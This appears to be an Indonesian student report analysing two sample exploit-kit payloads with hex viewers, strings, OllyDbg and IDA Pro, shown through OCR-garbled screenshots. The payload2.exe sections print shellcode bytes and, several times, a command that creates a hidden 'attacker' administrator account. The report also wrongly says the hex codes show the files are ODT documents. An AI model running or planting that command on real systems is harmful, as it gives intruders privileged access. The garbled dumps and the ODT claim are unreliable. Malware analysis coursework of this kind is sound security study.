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EXPLOIT KIT

Exploit kit merupakan kit perangkat lunak yang dirancang untuk berjalan pada
server web, dengan tujuan mengidentifikasi kerentanan perangkat lunak di mesin
klien yang sedang berkomunikasi. Tidak hanya mengidentifikasi exploit kit juga
memiliki tujuan menemukan dan mengeksploitasi kerentanan untuk dapat
mengupload serta mengeksekusi kode berbahaya pada klien.

Dalam proses Exploit kit hal yang dilakukan diantaranya adalah mengumpulkan
informasi tentang mesin korban, menemukan kerentanan dan menentukan sesuai
eksploitasi serta memberikan malware yang biasanya secara diam-diam pada klient.
Diantara berbagai cara exploit kit yang ada salah satunya adalah mengintruksi melalui
payload.

Hal yang dibutuhkan saat mengintruksi melalui payload adalah file payload
yang telah disiapkan sebelumnya. Pada tugas kali ini hal yang dilakukan adalah
menganalisa terhadap kedua file payload :

1. payload.exe
2. payload2.exe

Untuk dapat menganalisa kedua file payload tersebut mebutuhkan dua tools
berupa:

1. ghex, hexdump, strings (linux)
2. ollydbg(win), ida pro(linux,win)

Adapun perintah untuk dapat melihat isi file melalui tool ghex :
ghex payload.exe

ghex payload2.exe

setelah mengetikkan perintah tersebut maka akan muncul seperti gambar 1 dan

gambar 2.
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payload.exe - GHex -+ x

File Edit View Windows Help
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00 00 00 60 00 OO 00 6O 00 00 66 00 6O 60 6O 60 0O 00 00 0O 0O 0O 60 60 60 00 00 60 Gﬂ o
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6C 30 5C 61 73 66 5C 72 65 6C 65 61 73 65 5C 62 75 69 6C 64 2D 32 2E 32 2E 31 34 5C 73 [cal®\asf\release\build-2.2.14\s
70 6F 72 74 5C 52 65 6C 65 61 73 65 5C 61 62 2E 70 64 62 00 ‘ upport\Release\ab.pdb.

b

Signed 8 bit:| 77 Signed 32 bic | 9460301 Hexadecimal: | 4D

Unsigned 8 bit:| 77 Unsigned 32 bit:| 9460301 octat:| 115

Signed 16 bit:| 23117 Float 32 bit | 1,325671e-38 Binary: | 01001101

Unsigned 16 bit:| 23117 Float 64 bit: | 6,370661e-314 Stream Length: | 8 =|+

[£) Show litde endian decoding Show unsigned and float as hexadecimal
Offset: 0x0
= H ! &) | W) HIMASISKOFAS... | @ [Uibrary] h- payloadexe < G.. | |} *TUGAS (~/Doc.. | payloads - File W keamanam - File... [l Terminal B Terminal ol 09 3 x 1237

Gambar 1. Hasil file payload.exe menggunakan ghex

payload2.exe - GHex -+ x
File Edit View Windows Help
C EB 82 60 60 60 60 89 E5 31 CO 64 8B 50 30 8B 52 OC 8B 52 14 8B 72 28 OF B7 4A 26 31 FF A(| [......"..1.d.P8.R..R..r(..J&1..
060OOOLF3C 61 7C 62 2C 20 C1 CF 6D 61 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B [<a]., ...RW.R..J<.L.x.H..Q.
000003E[59 20 01 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF oD 01 C7 38 E® 75 F6 03 7D F8 3B[ |y¥ ...I..:I.4...1 .8.u..}.;
D 24 75 E4 58 8B 58 24 01 D3 66 8B OC 4B 8B 58 1C 01 D3 8B 04 8B ©1 DO 89 44 24 24 5B 5B 61 }Su.X.Xs..f..K.Xo........ Dsslla
00000O7C[59 5A 51 FF E@ 5F 5F 5A 8B 12 EB 8D 5D 6A 01 8D 85 B2 00 00 ©0 50 68 31 8B 6F 87 FF D5 BB FO[ [YZQ.._ Z....1j.. Se®sooss
A2 56 68 A6 95 BD 9D FF D5 3C 06 7C GA 80 FB E@ 75 65 BB 47 13 72 6F 6A ©0 53 FF D5 63 6D[ |..Vh......<.]....u..G.roj.S..cm
4 2E 65 78 65 20 2F 63 20 6E 65 74 20 75 73 65 72 20 61 74 74 61 63 6B 65 72 20 47 61 6E 74| d.exe /c net user attacker Gant
6E 67 31 20 2F 41 44 44 20 26 26 20 6E 65 74 20 6C 6F 63 61 6C 67 72 6F 75 70 20 41 64 6D| lengl /ADD && net localgroup Adm
00000F8/69 6E 69 73 74 72 61 74 6F 72 73 20 61 74 74 61 63 6B 65 72 20 2F 41 44 44 00 linistrators attacker /ADD.
Signed 8 bit:| -4 | Signed 32 bit: | 8579324 | Hexadecimal: | FC |
Unsigned 8 bit:| 252 | Unsigned 32 bit:| 8579324 | octal: 374 |
Signed 16 bit:| 5802 | Fioat 32 bit: | 1202210 38 | ginary: | 11111100 |
Unsigned 16 bit:| 59644 | Float 64 bit: | -1,587856e-263 | Stream Length: | 8 i +|
[E) Show little endian decoding () Show unsigned and float as hexadecimal
Offset: 030
=] ag | B (1) HIMASISKO... | Library) =/ payloadzexe ] *TUGAS (~/Doc... | i payloads -File .. | keamanam-File...| B Terminal | B Terminal | all 09 3 (&) 1240

Gambar 2. Hasil file payload2.exe menggunakan ghex

Terlihat dari kedua gambar diatas file ditampilkan dalam bentuk kode-kode
pada blok yang menarik. Kode-kode tersebut menandakan bahwa file adalah file
ODT(OpenOffice/LibreOffice Document Format). Pada kedua gambar diatas
membuktikan bahwa perbedaan kode-kode hexadecimal dalam setiap setiap file. Dari
kode-kode hex yang berbeda tersebut kita dapat mengklarifikasi file-file yang
dianggap mencurigakan. Multimedia files terkdang memiliki perbedaan daari susunan
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kode hex-nya karena dipengaruhi oleh multimedia tag yang terkandung dalam badan

file multimedia itu sendiri.

Sedangkan perintah untuk dapat melihat isi file melalui string

strings payload.exe

strings payload2.exe

Isi dari file palyload.exe menggunakan string ditunjukkan pada gambar 3

IThis program cannot be run in DOS mode.

Gambar 3. Hasil file payload.exe menggunakan string

Dikarenakan menggunakan string file terlalu panjang maka pembacaan isi file

di simpan dalam bentuk .txt.

3 payloadskusuma - Notepad - a
File Edit Format View Help

1This program cannot be run in DOS mode.Rich.text’.rdata@.data.rsrcAH@CBSShL@ABAG+F@?RhhAYEC@?dRPUHEK+QREYNUGFFF[ 29]1{@&Ph@<AA(RhPVRQtekAKfESatit Vt:SVAg~&|D; ot
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nviron_p_ environreallocstrspnmodfstrerrorucscpywcslen_closewcsnempstrrchrMSVCRT.d11_ dllonexit onexit_exit XcptFilter p  initenv_ getmainargs_initterm_ setusermath
eKERNEL32.d11A11locateAndInitializeSidFreeSidADVAPT32.d11WSOCK32.d11WSASendWSARecviNS2_32.d11_strnicmp_strdup%s: Cannot use concurrency level greater than total number o
failed(be patient)%s[through %s:%d] Benchmarking %s %s: %s (%d)Send request failed!Send request timed out!%s  %I64d %I64d %I64d %I64d %I6Adstarttime seconds
rd deviation apart. These results are NOT reliable.WARNING: The median and mean for the processing time are not within a normal deviation These results ar
r request: %.3f [ms] (mean, across all concurrent requests)Time per request: %.3f [ms] (mean)Requests per second:  %.2f [#/sec] (mean)HTML transferred:

x&/thr</trr<tr %s»><th %s colspan=4>Connnection Times (ms)</th»</tr><tr %s»<td colspan=2 ¥s»&nbsp;«/td><td colspan=2 %s>%.2f kb/s total</td»</tr><tr %s»<td colspan=2 %s
tr %s><th colspan=2 %s>Complete requests:</th><td colspan=2 %s>%d</td></tr><tr Xs><th colspan=2 %s>Time taken for tests:</th><td colspan=2 %s>X.3f seconds</td></tr><tr
ch.net/<br> This is ApacheBanch, Version %s <i>&1t;%s&gt;</i><br>$Revision: 655654 $licensed to The Apache Software Foundation, http://www.apache.org/Copyright 1996 Ad
Inserted after all normal header lines. (repeatable)  -H attribute  Add Arbitrary header line, eg. '‘Accept-Encoding: gzip'  -C attribute  Add cookie, eg. ‘Apac
requests to performOptions are:Usage: %s [options] [http://]hostname[:port]/pathSSL not compiled in; no https supporthttps://[%s]http://ab: Could not read POST data fi
tedNo buffer space availableConnection reset by peerSoftware caused connection abortNet connection resetletwork is unreachableNetwork is downCan't assign requested add
ified socket in poll list.End of file foundMissing parameter for the specified command line optionBad character specified on command linePartial results are valid but
d was provided and one was required.Mo socket was provided and one was required.No poll structure was provided and one was required.No lock was provided and one was re

Gambar 4. Isi file payload.exe dalam .txt

S| payload2kusuma - Notepad
File Edit Format View Help

|; 1PuD$$[[a¥ZQcmd.exe /c net user attacker Gantengl /ADD && net localgroup Administrators attacker /ADD

Gambar 5. Isi file payload2.exe dalam .txt
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Dari hasil yang didapat pada file gambar 4 dan 5, isi file dari payload.exe serta
payload2.exe yang menggunakan perintah string belum dapat dianalisa bagaimana
proses kerja dan skema dikarenakan isi dari file belum terlalu jelas oleh sebab itu

diperlukan pembacaan kedua file menggunakan tools lain seperti ollydbg dan ida pro.

Saat menggunakan tools ollydbg untuk melihat proses kerja kedua file banyak
detail dari file tersebut dimana file payload.exe lebih banyak detail dibanding file

payload2.exe.

e e —

File View Debug Options Window Help
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Gambar 6. Isi file payload.exe pada detail CPU

Proses kerja file payload.exe dan payload2.exe membutuhkan banyak proses
dan pada detail CPU diperlihatkan secara rinci bagaimana proses kerja file
payload.exe yang di proses berdasarkan hitungan biner dan dikelompokkan

berdasarkan kode-kode blok yang mengandung arti tersendiri di setiap kodenya.
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4 OllyDbg - payload2.exe - [CPU - main thread, module ntvdm] “ ‘ ‘
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Eaze Size Entiry Marme File version Path -

BE4EREAA| GO ] AARE| AAIEERE0| pay load | 2.2.14 E:~&~pay loads pay load, exe

EJEAEREE| BEEETEEE) SDEA1126| WSOCKS2 | &, 1.76E0, 16225 Windows-systemd2 WS0CKI2.d1 1

TEARBRER| BEE4A8EE| 7EARFOEA| KERMELEA| 6. 1. 76@E. 16385 Windows sy stem32 KERMELEASE. AL L

TE1ZEEEE| BBESEEEE| 7a121450) WSZ_22 &.1.7E@@. 16385

TE10EEEE| BEREGEEE| 76101782 ST G6.1.768@8. 16385

To1FoE0a| B8EA1668| F4222433| RPCRTY &.1.7608. 16385

TE440800| BAEACAGE| FA44A472| MSUCRT 7. B.7668, 16385

TETHEEEE| BEEABEEE) FLF149ES| ADVAPISZ | &, 1. 7eE0, 16225 Windows sy stem32AOVAPLS

TEFEORERE| BEE04868| 767FBOES | kernsl32| 6. 1.76@0. 16385 Windowsssystem3d2 kerne |2
1
d

Windows-system32~HIUCRT.

TEODERBA| BEE]96EE) TEIDYITE| cechost | £, 1.7EAB. 16285 Windows Y STEMSZ ~sechos:
TrE40888) 8013CH08 ntdll &6.1.7688. 16385 | C:~indows~SYSTEM3Z~ntdll.

Gambar 8. Isi file payload.exe pada detail executable modules

[E] Executable modules =R EcE |
Base Size Enti! Hame File wersion Path

BECYREA0 | BOECIHA0 | BECYEESE| ntudm E.1 Windowssysten32untudm. ene
TA70AEE0 | BEEEDEE0| FOFD1292| sfc_os & Windowssysten22sfo_os.OLL
TETE! =fc & W indows® m23Znefo.dll

TERAI 40 TERAFDED| KERMELER| & W indows® ~KERMELBRSE.dLL
TEDz! S0 TEDE2FDT7 | USFP1e 1 W indows® ~USPLE.dLL

TELCH IEA) TEIC12EC| LPK & W indows®

TELFI A1 7 RPCRT4 & W indows®

i AC! TE44R472| mevert 7 W indows

7 4E D TESEICAT GDIZZ & W indows®

7 S7 O T EAS| SHLWAPI (& W indows®

TET HE TEF149EE| ADUAPIZZ| & W indows®

TETE D4 TEFFEDE4 | kernel3Z| & W indows®

TES0I 19 TEI0497E | sechost | & W indowsSYSTEM

7EoF IC4A TEAT1681| SHELL2Z |6.1.7601.17514 Wi Ry

Frad 13CH ntdll 6. 1.7660, 16385 W indows~SYSTEM3E

il BCD TPO9FFCY| USER3Z2 E.1.76081.17514 saWindows~system32~USER32.d1 1

¥ FRE B 1F YFAS13EE| IMM32 E.1.76081.17514 sWindows~system32IMM32. DLL

Gambar 9. Isi file payload2.exe pada detail executable modules
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erisi bagaimana kedua file payload tersebut

dijalankan. Dimana terdapat perbedaan lokasi kedua file tersebut dijalankan kecuali

bahwa kedua file sama sama dijalankan pada lokasi windows\system32. Tidak hanya

tempat kedua file dijalankan tetap

dijalankan juga tertera.

Log Data pada kedua file tid

modules dimana berisi proses yang d

i rincian nama dan ukuran dari file tersebut

ak berbeda jauh dengan detail dari executable
ibuat pada sistem oleh kedua file tersebut. Akan

tetapi dikarenakan isi kedua file berbeda maka prose yang terjadi pada file juga

berbeda. Telihat pada detail paling bawah kedua gmabar 10 dan gambar 11 dianalisa

8 calls to known pada payload dan 1440 calls to known pada payload?2

Log data

Address [Message

[E=8[Een

-

Ollybbg wi. 1B

File "E:“i-payloads pay loal

Analysing payload
2 heuristical procedures
8 calls to known. 1 call
1 switches

Mew process with ID 88866324 crEated
BE4EEA20| Main thread with el ?C4 created

Modu le Ex \a\Daylnads\Dau

Modu le CiWindows™: MSDCKSZ.dLl
FEAA Modu le Cilindows™. ~KERMELEASE. dlL L
TB121 Modu Le G bl in diows SE_32.d 1L
7e1D Modu le CiWindows™ ISI.dll
TELFI Modu Le Tl indows ™ SRPCRTS . dL L
7 Modu le CiWindows™: SHMSUERT. L L
FETE Modu le CiWindows™; DUAPIZZ. dLL
TETE Modu Le Cxulindows™: “kerne [32.dLL
TEIDI Modu le C:Windows~SYSTEMSZ~sechost.dll
Tl Modu le CiWindows~SYSTEMZ2wntdll.dlL

4 0| Program entry point

==

to guessed functions

Gambar 10. Isi fil

e payload.exe pada detail Log data

Log data

Address |Message

(=[O =

OllyDbg wi.18

File '"E:~a-payloads pay load2.ene’

ew process with I0 BEEAESE4 created
BECT! 2in thread with ID BEABE47C created
BECT odu le Czslindows™ m32wntudm. exne
e odu Le Ci -l indows™ m232wsfo_os.OLL
THTE! odu Le Ci -l indows™ m23Zwefo.dll
TERAI odu Le Czlindows™ m22~KERMELBASE. dL L
FEDZ odu le CrlWindows™ ~USPlE. dLL
FELLC odu Le Ci -l indows™ “LPE.dLL
TELF odu Le Ci -l indows™ ~RPCRT4.dLL
i odu Le Ci -l indows™ smsvcrt.dlL
i odu Le Ci -l indows™ ~GOI22.dL1L
i odu Le Ci -l indows™ “SHLWAFI.dLL
TET odu Le Czlindows™ m232~ADVAPIZZ.dL L
TETE odu Le Ci -l indows™ m32-kernel32.d11
TES0I odu le Cilindows~SYSTEM2Z2 sechost.dlL
TE3F odu Le Ci -l indows™ ~SHELLSZ2.dLl1L
i odu le Cill ncous\SVSTEH sntdll.dlL
il odu Le Ci -l indows™ ~USERZZ2.dL1L
7R odu Le Cilindows™ ~ IMM22.0LL
BECT! Program entry point

Analysing ntwdm
1985 heuristical procedures
1448 calls to known, 5114 calls to guessed functions
1824 loops, 238 switches

Gambar 11. Isi file payload2.exe pada detail Log data
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Threads menunjukkan bagaimana kedua file payload tersebut berisi status aktif
dan dapat digunakan dalam mengintruksi melalui payload.

[T] Threads Fo-E- sl

Ident Entry Data block|Last error Status Priority|User time Sustem time
BEEREFCY | AE4ESAS0| FFFOFBa6 ERROR_SUCCESS (GBI Act ive 32+ 8 ENEEEERE B.8156 =

.

Gambar 12. Isi file payload.exe pada detail Threads

[T] Threads =B ]

Ident Entiy Data block)lLast ercor Status Friority)lser time Sustem time
BREEAGS L] BECTEEIE| FFFOEBAA | ERROR_SKS_KEY_MOT] Act ive 32 + 8 G.8088 = B.A15E =

Gambar 13. Isi file payload2.exe pada detail Threads

Detail memori map menjelaskan secara rinci skema dari file payload.exe saat di
proses. Begitu rinci mulai dari alamat, ukuran file, bentuk file serta akses yang dapat

dilakukan. Akan tetapi untuk file payload2.exe detail memory map tidak bisa
ditampilkan.
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E CllyDbg - payload.exe - [Memory map] - T
@ File View Debug Options Window Help
AFC YR A == maa|
Elex] wn] v+ g4 A + L EmT|wH[c|/[K[B[R]..[5] i=[F]?]
Address [Size Owner Section [Contains Tupe|Access | Initial|Mapped as
B 1 HEE A6 1 BAEE Map i i
20 1 Priv Rl Guaj Rl
2E| stack of ma|Priv|RW Gua RU
2 Map
4 1 Priv| Rl {1}
H Friv| Rl {1
F 7 Eap by “Device“HarddiskUolumelWindows System32~locale.nls
iy
pay load PE header mag
4 payload |.text code mag
4 payload | .rdata imports mag
4 @00 pavload |.data data mag
4151 payload |.rsroc TESOMITES mag
riw| Rl
[t WSOCK22 FE header mag
AL WSOCK22 | . tent code, import| Imag
H4 WSOCKE2 | . data data mag
HE WSOCK32 | . rsroc TESOMITES mag
H WSOCK32 | .relos  |relocations| Imag
R RHELEA FE header mag
TEAAL RMELEA| . text code, import| Imag
TERE4 RHELEA| . data data mag
7SREE! RMELEA| .rsrc TESOMITES mag
7SRET! RMELEBA| .reloc  |relocations| Imag
Te1zo 2 PE header mag
a1zl Wgz_ Ltent code, import| Imag
TE147! Wgz_ .data data mag
TE1421 Wgz_ rErc TESONrCES mag
TE152 W5z _ .relos |relocations| Imag
Fe106 I PE header mag
7el1Dl 1 LLERt code, import| Imag
7e1031 I .data data mag
7E1041 I STELC TESOMITES mag
7E105! I .relos |relocations| Imag
TELFG RFCRTY FE header mag
TelF1 RPCRT4 LLERt code, import| Imag
7 RPCRT4 L OrpG code mag
7 7 RPCRT4 .data data mag
7 RPCRT4 STELC TESOMITES mag
752301 RPCRT4 .relos |relocations| Imag
i 1 LICH FE header mag
TEd41 l UCH LLERt code, import| Imag
TE4EDI 7 LICH data ta mag
TE4ET! 1 LC STELC TESOMITES mag
7E4E: LC| .relos |relocations| Imag
TETE 1 ADUARI22 FE header mag
Ter8 2 AOUAPISZ| . tent code, import| Imag
TEPT: ADUAPIZZ| . data ta mag
TETT AOUVAPISZ| . rerc TESOMITES mag
7E73 AOUAPIZ2| .reloc  |relocations| Imag
TE7E ernel32 PE header mag
TEFE erne 32| . tent code, import| Imag
7587 ernel32| .data ta mag
TE87 ernel32| . reroc TESOMITES mag
7EE7a ernel32| .reloc  |relocations| Imag
7Eo00! sechost PE header mag
7e301 sechost |.texnt code, import| Imag
7 sechost | .data ta mag
FEIET! sechost | .rsroc TESOMITES mag
TEIE: sechost | .reloc relocat ions| Imag
7ra4 ntdll PE header mag
Trad ntdll L LEnt code, export| Imag
7rol ntdll mag
7ol ntdll .data data mag
Fro2ol ntdll STELC TESOMITES mag
FPOFTI ntdll .relos |relocations| Imag
7RSO mag
7FEF Map
7FFE Map
7FFODI Priu| Rl 1]

Gambar 14. Isi file payload.exe pada detail memory map

Penggunaan tool ollydbg terlihat begitu detail dalam mendeskripsikan
bagaimana isi dari file payload.exe dan payload2.exe. Detail yang ditampilkan
berupa CPU, executable modules, Log data, Threads, dan memory map. Tools ini

menampilkan proses dan skema kedua file dengan begitu baik.

sedangakan isi file dengan menggunakan tools ida pro seperti gambar 15 dan
seterusnnya. Untuk keterangan pada gambar isi hampir sama pada saat menggunakan
tools ollydbg.
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DA Vienwd, H e Wiemd, gﬁl Exports % Imports | M Mames

2eq00C ;
zeg0r ; +
geglll ;] Thiz file iz generated by The Interactive Dis:
|
1
0

gegl0l ;1 Copyright (o] 20010 by Hex-Raps SA, <suppo
gegl00:0100 ;| Licensed to: Freeware vefs
2eq00C ; +

zeg0c ;

#egl0l ; Input MDE : 51480315F36E

zeq0C
gegOll ;
2eq00C ; File Mame : C:h\payload

zeg00C ; Format : k5-DC

#egll ; Baze Addrezs: 1000k Range: 10100k
zeq0C

gegOl 63

zeq0C m

zeqoC _miodel

zegO0r
geq0c ;
gegOl
2eq00C ; Seament bipe:

2eq00C zeq000 seqment byte pu

zegO0r azsume o

zeq0C arg 1

gegOl azsume ez nothing, sznothing, dz:zeql0
zeq0C

seqO0r public &

Gambar 15. Isi file payload2.exe menggunakan ida pro

| Do, it Hex Viewd, gﬁ Ewports

egl00FES000EE E3CEE538 ib. dlil+
egl0l 508516872 0B423FA3 RIiiAL
egl0l E7022CC0 OCEFSES5 ah, -# Al
eqlll 18438417 E40C5E5E2 Hil¢ilaed
egl0C OCS41E34 S380C3IFA Ol
eql0C CCOOC3ET FOTF3727 & ASfy
egl0l E58520CE 80485100 &4ix§ E

eqlll B0B0CE42 2566665 F #i &Df
eql0l E5G581ER SE088B00 0_Z) i&
eqlll 05E38E8F CEFBAREA Phliogi+
eqldl 9B9FC307 OBFEYOB4 acd -
eqlll 176605FC BEE2E6T7E2 5 icm
eglll 26266V 27 YRV 26776 /onet use
eglll BEEF2466 FEEE3IZ24 cher Gant
eqlll 44222266 72666666 DD &k nel
eqlll FEFF2466 BEETV 7 TET roup Admi
eqglll BY 726776 BEEY 2244 ors attack
eqlll 40 C

Gambar 16. Isi file payload2.exe menggunakan ida pro
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[ DA Wi, Hex Wie-A, gﬁ Exports % Imports | M Mames ‘[ﬂ] Ful

Marme Address Ordinal
£ st art 00010100

Gambar 17. Isi file payload2.exe menggunakan ida pro

E [DA, Miem-a, Hesx Wigwm-a, éﬁ Exparts % Imports | W MNames \LF_I] Furict

ddresz Ordinal ~ Mame Library

Gambar 18. Isi file payload2.exe menggunakan ida pro

[0 Wiw-A, Hex Wiew-a, éﬁ Exports % Impaorts N Mames

M ame Address F.

0010100 P

Gambar 19. Isi file payload2.exe menggunakan ida pro

- - ~ . N
1DA Wiew-f, Hes View-A, éﬂ Exports I% Imports | M Mames | 17 Funetions | ».» Shings & Structures | En Enums

Function name Segment Start Length R F L 5 B T =
.‘El] aub 10186 2egl00 ooon01as nooooonz R

Gambar 20. Isi file payload2.exe menggunakan ida pro




09011181320017 @students.ilkom.unsri.ac.id

1D Wi Hex Yiew-A gﬁ Exports % Imparts | M Mames ‘LF_I] Functions | ™" Stings ﬂ Shuctures

Address Length Type Shing
L gegl00;.. 0000005, [ cmd.exe /o net uzer attacker Gantengl AADD && net localgroup Adminizstrat. ..

Gambar 21. Isi file payload2.exe menggunakan ida pro

1008 Wiy, Hes Wiew-d gﬁ Exports % Imports | N Mames ‘Lﬂ] Functions | " Stings .ﬂ. Structures

B |
Ihz/Del : createddels
Db o create stucture membe
M : rename struchure ar st
] : delete stuctu |

Gambar 22. Isi file payload2.exe menggunakan ida pro

1004 Wiswad, Hes Wis-t éh Exports % Imports | N Mames ‘[ﬂ] Functions | "-" Stings ﬂ Stuctures | En Enums

B |
| Inz/Del/Chl-E: create/delate/adi
| MACHEN  createedit & sr
L - delete & symbol
[ car: : zet & comment for the

| For bitfields the line prefises displ

Gambar 23. Isi file payload2.exe menggunakan ida pro



